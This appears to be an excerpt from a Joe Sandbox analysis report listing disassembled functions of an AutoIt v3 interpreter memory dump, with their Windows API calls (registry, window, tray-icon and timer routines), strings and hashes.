Instruction ID: 41e370cc52f967ea6f2f18e6cb743606a7f1e34b726e80b724e12578fc5da720
Opcode Fuzzy Hash: bae19f4e878ddfb39c1208fa7de0d6515a43778c785fb67a78f9f6291b2e9529
Instruction Fuzzy Hash: 5DA10532A241058FDF19EF68D891BBE7BE0EB46320F140199F8159B2A2DB759D12CB91

Function 00B2344D Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B23A5A: GetModuleFileNameW.KERNEL32(00000000,?,00007FFF,00BF1418,?,00B22E7F,?,?,?,00000000), ref: 00B23A78

Part of subcall function 00B23357: GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00B23379

RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00000001,?,?,\Include\), ref: 00B2356A
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,00000000,?), ref: 00B6318D
RegQueryValueExW.ADVAPI32(?,Include,00000000,00000000,?,?,00000000), ref: 00B631CE
RegCloseKey.ADVAPI32(?), ref: 00B63210
_wcslen.LIBCMT ref: 00B63277
_wcslen.LIBCMT ref: 00B63286

Strings

Software\AutoIt v3\AutoIt, xrefs: 00B23560
\Include\, xrefs: 00B23527
Include, xrefs: 00B63184, 00B631C5
\, xrefs: 00B6328C

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: NameQueryValue_wcslen$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\$\Include\
API String ID: 98802146-2727554177
Opcode ID: 4ee7a6f06d7f4ba4b73eb55b19c9c425efce635536434aafc6b0e980e7345407
Instruction ID: ec765657c161b1ffaf8f9e64fd91356d3e0e7ba54cbb440c609eab6f742458ad
Opcode Fuzzy Hash: 4ee7a6f06d7f4ba4b73eb55b19c9c425efce635536434aafc6b0e980e7345407
Instruction Fuzzy Hash: C071A1B14043159FC314EF29EC829BBBBE8FF99740F40096EF54997160EB749A48CB65

Function 00B22B83 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32(0000000F), ref: 00B22B8E
LoadCursorW.USER32(00000000,00007F00), ref: 00B22B9D
LoadIconW.USER32(00000063), ref: 00B22BB3
LoadIconW.USER32(000000A4), ref: 00B22BC5
LoadIconW.USER32(000000A2), ref: 00B22BD7
LoadImageW.USER32(00000063,00000001,00000010,00000010,00000000), ref: 00B22BEF
RegisterClassExW.USER32(?), ref: 00B22C40

Part of subcall function 00B22CD4: GetSysColorBrush.USER32(0000000F), ref: 00B22D07
Part of subcall function 00B22CD4: RegisterClassExW.USER32(00000030), ref: 00B22D31
Part of subcall function 00B22CD4: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00B22D42
Part of subcall function 00B22CD4: InitCommonControlsEx.COMCTL32(?), ref: 00B22D5F
Part of subcall function 00B22CD4: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00B22D6F
Part of subcall function 00B22CD4: LoadIconW.USER32(000000A9), ref: 00B22D85
Part of subcall function 00B22CD4: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00B22D94

Strings

AutoIt v3, xrefs: 00B22C2F
#, xrefs: 00B22C16
0, xrefs: 00B22C0F

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: #$0$AutoIt v3
API String ID: 423443420-4155596026
Opcode ID: 51ab8a8506b41db0a11a3d91b2396d941b71fcfd088bf4bb6b3543c39386d483
Instruction ID: 4ab151ca37f987032fe3a98843fba077710e3e60986611f132466c50965b9fd9
Opcode Fuzzy Hash: 51ab8a8506b41db0a11a3d91b2396d941b71fcfd088bf4bb6b3543c39386d483
Instruction Fuzzy Hash: 67212C71E00315FBDB10DFAAEC55AA97FB4FB48B50F00095AF504A76A0DBB10944CF98

Function 00B23170 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 145
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32(?,?,?,?,?,?,?,?,?,00B2316A,?,?), ref: 00B231D8
KillTimer.USER32(?,00000001,?,?,?,?,?,00B2316A,?,?), ref: 00B23204
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00B23227
RegisterWindowMessageW.USER32(TaskbarCreated,?,?,?,?,?,00B2316A,?,?), ref: 00B23232
CreatePopupMenu.USER32 ref: 00B23246
PostQuitMessage.USER32(00000000), ref: 00B23267

Strings

TaskbarCreated, xrefs: 00B2322D

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 70a2ce390849488dc65c6d148fd6c1074b99ae1faa275b6bcd488a7dc7612ba2
Instruction ID: 94ebc7e918bd613d5a6294a86a318e35c86447573e17d168697f798c57157c0b
Opcode Fuzzy Hash: 70a2ce390849488dc65c6d148fd6c1074b99ae1faa275b6bcd488a7dc7612ba2
Instruction Fuzzy Hash: 8D410631200228EBDB145F7CAD49B793AE9E705B40F0449E5F549A72A2CFBACE41D7A1

Function 00B22C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00B22C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00B22CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00B21CAD,?), ref: 00B22CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00B21CAD,?), ref: 00B22CCF

Strings

AutoIt v3, xrefs: 00B22C89, 00B22C8E, 00B22C8F
edit, xrefs: 00B22CAC

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 571ea84c7d4fd6432fa7b8876f646a11c42585254bbb253227dd3a7e615915e4
Instruction ID: fc048d14bc63d322a78ca033f951289c196afc9056dd694b1e0a62e4f679dce3
Opcode Fuzzy Hash: 571ea84c7d4fd6432fa7b8876f646a11c42585254bbb253227dd3a7e615915e4
Instruction Fuzzy Hash: D5F0DA76540290BBEB315B1BAC08EB72EBDD7C7F60B00085AF904A75A0CAA11850DAB8

Function 00B23B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00B23B0F,SwapMouseButtons,00000004,?), ref: 00B23B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00B23B0F,SwapMouseButtons,00000004,?), ref: 00B23B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00B23B0F,SwapMouseButtons,00000004,?), ref: 00B23B83

Strings

Control Panel\Mouse, xrefs: 00B23B3E

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: fbc7f5389ef4c4195b0239840c30505db9f3db67e4f788f3c9b323f5be0182b0
Instruction ID: b8c780ca32694e6940fd7456456d544a1daae6eb13cf4065fc2d1381c3d369b5
Opcode Fuzzy Hash: fbc7f5389ef4c4195b0239840c30505db9f3db67e4f788f3c9b323f5be0182b0
Instruction Fuzzy Hash: 55112AB5511218FFDB21CFA5EC88AAEBBF8EF04B44B104999B809D7110D6759E409B60

Function 00B23923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00B633A2

Part of subcall function 00B26B57: _wcslen.LIBCMT ref: 00B26B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00B23A04

Strings

Line: , xrefs: 00B633EB

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 4b97e1355ecd63a7748b3475c9f2739a5af4e71d8726dc4cbb449b0ab9b16b56
Instruction ID: c976a8199005fff9a247ed56ec52ee0899aa752c490b4cb200b8dfccdc8c0e59
Opcode Fuzzy Hash: 4b97e1355ecd63a7748b3475c9f2739a5af4e71d8726dc4cbb449b0ab9b16b56
Instruction Fuzzy Hash: 6031E271508324AAC725EB24EC45BEBB7D8AB45B10F040EAAF59D83191DF749A48CBC6

Function 00B3FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00B40668

Part of subcall function 00B432A4: RaiseException.KERNEL32(?,?,?,00B4068A,?,00BF1444,?,?,?,?,?,?,00B4068A,00B21129,00BE8738,00B21129), ref: 00B43304

__CxxThrowException@8.LIBVCRUNTIME ref: 00B40685

Strings

Unknown exception, xrefs: 00B40692

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: db4797ce34f84c9c50aa2962325e8cc3637631e6ee2e5e790ed14728dad39ba9
Instruction ID: f0847adac62ef8f3b507c5656beaeb17f21d00519867e6943b57804659491ee6
Opcode Fuzzy Hash: db4797ce34f84c9c50aa2962325e8cc3637631e6ee2e5e790ed14728dad39ba9
Instruction Fuzzy Hash: 1DF0C83490060D778B00B668D88ACAD77FC9E50310B7045F1B914955A1EF71DB25E580

Function 00B210F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00B21BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00B21BF4
Part of subcall function 00B21BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00B21BFC
Part of subcall function 00B21BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00B21C07
Part of subcall function 00B21BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00B21C12
Part of subcall function 00B21BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00B21C1A
Part of subcall function 00B21BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00B21C22

Part of subcall function 00B21B4A: RegisterWindowMessageW.USER32(00000004,?,00B212C4), ref: 00B21BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00B2136A
OleInitialize.OLE32 ref: 00B21388
CloseHandle.KERNEL32(00000000,00000000), ref: 00B624AB

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 0e768a9211086463d9cca150087b5dac704283fe917a441a2fbf1443c6cfcb5a
Instruction ID: bef8eefb809233ffe4fff5d2757778f578047447a806af2ab998e27502946210
Opcode Fuzzy Hash: 0e768a9211086463d9cca150087b5dac704283fe917a441a2fbf1443c6cfcb5a
Instruction Fuzzy Hash: 6871C9B5911204CFD384EF7EAD456B53AE4FBA87847548EAAD10ADB361EF318448CF50

Function 00B8C161 Relevance: 4.6, APIs: 3, Instructions: 74timewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B23923: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00B23A04

Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00B8C259
KillTimer.USER32(?,00000001,?,?), ref: 00B8C261
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00B8C270

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: IconNotifyShell_Timer$Kill
String ID:
API String ID: 3500052701-0
Opcode ID: 15127be3e496c4580750136a3a8756b95f2c8f343852c33407e24437aeffa0ec
Instruction ID: 9a75c31854197ddf01a983da374448a6582027ec6eac3c52b79e5374c25ea215
Opcode Fuzzy Hash: 15127be3e496c4580750136a3a8756b95f2c8f343852c33407e24437aeffa0ec
Instruction Fuzzy Hash: 2B3193B0904354AFEB62EF648895BE7BFEC9B06304F0004DAE5DAA7291C7745A84CB61

Function 00B586AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

CloseHandle.KERNELBASE(00000000,00000000,?,?,00B585CC,?,00BE8CC8,0000000C), ref: 00B58704
GetLastError.KERNEL32(?,00B585CC,?,00BE8CC8,0000000C), ref: 00B5870E
__dosmaperr.LIBCMT ref: 00B58739

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID:
API String ID: 2583163307-0
Opcode ID: d92ad4a379466c25815da0aceb452b1494af44bb25c7f8a2db6ab3acb52145a3
Instruction ID: efc3ba7fc7926c36d37bf5da5687600b3ac1e9f68addc684023b9f2bb1aa1a49
Opcode Fuzzy Hash: d92ad4a379466c25815da0aceb452b1494af44bb25c7f8a2db6ab3acb52145a3
Instruction Fuzzy Hash: C5016B32A1526017D3707234A84577E2BC98F81777F3902D9FC09AB0E2DEB0CC89C154

Function 00B2DB38 Relevance: 4.5, APIs: 3, Instructions: 29windowsleepCOMMON

Download Yara Rule

APIs

TranslateMessage.USER32(?), ref: 00B2DB7B
DispatchMessageW.USER32(?), ref: 00B2DB89
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B2DB9F
Sleep.KERNELBASE(0000000A), ref: 00B2DBB1
TranslateAcceleratorW.USER32(?,?,?), ref: 00B71CC9

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchPeekSleep
String ID:
API String ID: 3288985973-0
Opcode ID: 4207eb48865f2a47d43eb81a1381559ac7943de7a0aeac965a8db6ebfd3881f2
Instruction ID: 44c6adf7c09dbbef791393568945e23bdb20e044faf5bad580ef21ac30696db7
Opcode Fuzzy Hash: 4207eb48865f2a47d43eb81a1381559ac7943de7a0aeac965a8db6ebfd3881f2
Instruction Fuzzy Hash: 44F0DA316443449BE730CBA59C99FAA77E8EB45350F104A59E65E870D0DF7094488B25

Function 00B31310 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 531COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00B317F6

Strings

CALL, xrefs: 00B317C6

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Init_thread_footer
String ID: CALL
API String ID: 1385522511-4196123274
Opcode ID: f91ad1c6f15a4015b087bf02cc5b91420f395491df04d3bdb37adc0706cd0a8c
Instruction ID: feb358d4131f729fb53d071c69202b4186f0e75a3b373ddc43ba7b122ffd42ed
Opcode Fuzzy Hash: f91ad1c6f15a4015b087bf02cc5b91420f395491df04d3bdb37adc0706cd0a8c
Instruction Fuzzy Hash: 15228B70608201DFC714DF18C490A2ABBF5FF99314F2989ADF49A8B361D731E945CB92

Function 00B22DE3 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00B62C8C

Part of subcall function 00B23AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00B23A97,?,?,00B22E7F,?,?,?,00000000), ref: 00B23AC2

Part of subcall function 00B22DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00B22DC4

Strings

X, xrefs: 00B62C5A

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X
API String ID: 779396738-3081909835
Opcode ID: e0ec388c6e28d4321f4327deb0ccb2a9bd5748ffe36c1f4eb7ed6fb35b1542a2
Instruction ID: 52a1ad266e7a97767776bd3bac6db426645f8b52b8dfc762e778ab5aa6fb2daa
Opcode Fuzzy Hash: e0ec388c6e28d4321f4327deb0ccb2a9bd5748ffe36c1f4eb7ed6fb35b1542a2
Instruction Fuzzy Hash: C821D571A102A8AFDB01EF94D845BEE7BF8EF58314F004099E409F7241DBB85A498FA1

Function 00B23837 Relevance: 3.1, APIs: 2, Instructions: 77windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000000,?), ref: 00B23908

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 830859ff2f3fc70297003abdd17121f80f712c56c21ec1d506452879f2defafb
Instruction ID: 22da73de5935aa84da1ac33a8d1ce0e33240f358960275e4b03fdb9118414474
Opcode Fuzzy Hash: 830859ff2f3fc70297003abdd17121f80f712c56c21ec1d506452879f2defafb
Instruction Fuzzy Hash: 79318170604311DFD720DF24D8847A7BBE4FB49708F000D6EF59A8B250EB75AA44CB56

Function 00B3F645 Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00B3F661

Part of subcall function 00B2D730: GetInputState.USER32 ref: 00B2D807

Sleep.KERNEL32(00000000), ref: 00B7F2DE

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: InputSleepStateTimetime
String ID:
API String ID: 4149333218-0
Opcode ID: 1859c011fe6be7dbe679a6b93e315f07156f13adc2e5372749f2f239cbbaf060
Instruction ID: 4c519da10972c88bf4ee124bb2752723ca4cbe9289c749fdfe60cc8005be3dc3
Opcode Fuzzy Hash: 1859c011fe6be7dbe679a6b93e315f07156f13adc2e5372749f2f239cbbaf060
Instruction Fuzzy Hash: 1FF08C31240615AFD310EF69E459F6ABBE8EF59760F0041AAE85DDB261DFB0AC00CB90

Function 00B2B710 Relevance: 2.1, APIs: 1, Instructions: 587COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 00B2BB4E

Memory Dump Source

Source File: 00000006.00000002.2950242807.0000000000B21000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B20000, based on PE: true

Associated: 00000006.00000002.2950188718.0000000000B20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BBC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950379797.0000000000BE2000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950684617.0000000000BEC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2950807828.0000000000BF4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b20000_84d280a9e8.jbxd

Similarity

API ID: Init_thread_footer
String ID:
API String ID: 1385522511-0
Opcode ID: 87495355e5bdc08f593e1304f8ddbc95cb025c5cdf05474f13020d087cb4b1c2
